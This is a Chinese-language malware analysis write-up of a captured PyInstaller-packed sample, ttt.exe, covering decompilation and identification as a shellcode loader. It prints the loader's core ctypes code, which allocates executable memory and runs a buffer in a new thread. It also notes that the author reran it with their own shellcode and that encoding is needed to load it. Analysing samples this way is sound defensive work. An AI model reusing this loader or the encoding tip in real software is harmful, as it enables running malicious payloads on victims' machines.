安全运营 | 记一次互联网捕获恶意样本分析

从互联网捕获到一个恶意样本(ttt.exe),因为网上有人在讨论,颇感兴趣,遂对其进行分析,将学习分析的过程记录一下。

安全运营 | 记一次互联网捕获恶意样本分析

查询威胁情报为可疑文件,包含部分可疑行为,并没有完全判断为恶意文件。
安全运营 | 记一次互联网捕获恶意样本分析
1、下载样本,初步判断为PyInstaller打包的python程序。
安全运营 | 记一次互联网捕获恶意样本分析
2、对编译打包后的python程序,反编译有两步:
1)将.exe反编译为.pyc
工具下载:https://github.com/extremecoders-re/pyinstxtractor/
使用pyinstxtractor进行反编译
python pyinstxtractor.py ttt.exe

安全运营 | 记一次互联网捕获恶意样本分析

通过输出结果判断,ttt.pyc为正确的程序入口点。
2)将.pyc还原为原始的py代码(pycdc.exe
工具下载:https://github.com/zrax/pycdc
使用pycdc还原成py文件

安全运营 | 记一次互联网捕获恶意样本分析

成功还原出原始的python文件。

安全运营 | 记一次互联网捕获恶意样本分析

3、分析源代码,判断样本的功能如下。

安全运营 | 记一次互联网捕获恶意样本分析


将加密字符串解码后判断为shellcode加载器,可以分析出其核心功能是加载buf变量的内容。


ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x30000x40)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))handle = ctypes.windll.kernel32.CreateThread(00, ctypes.c_uint64(rwxpage), 000)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)


4、生成shellcode加载,为了方便测试把判断和编码部分注释掉,可上线成功。
这里需要注意执行生成的Raw文件,无法直接加载,需要进行起码一层的编码和解码才可以。

安全运营 | 记一次互联网捕获恶意样本分析

安全运营 | 记一次互联网捕获恶意样本分析



安全运营 | 记一次互联网捕获恶意样本分析
安全运营 | 记一次互联网捕获恶意样本分析

如果您觉得内容还不错的话,请关注我吧!



建议把公众号“篝火信安”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。

操作方法:点击公众号页面右上角的【…】,然后点击【设为星标】即可。

原文始发于微信公众号(篝火信安):安全运营 | 记一次互联网捕获恶意样本分析

版权声明:admin 发表于 2024年8月21日 下午12:01。
转载请注明:安全运营 | 记一次互联网捕获恶意样本分析 | CTF导航

相关文章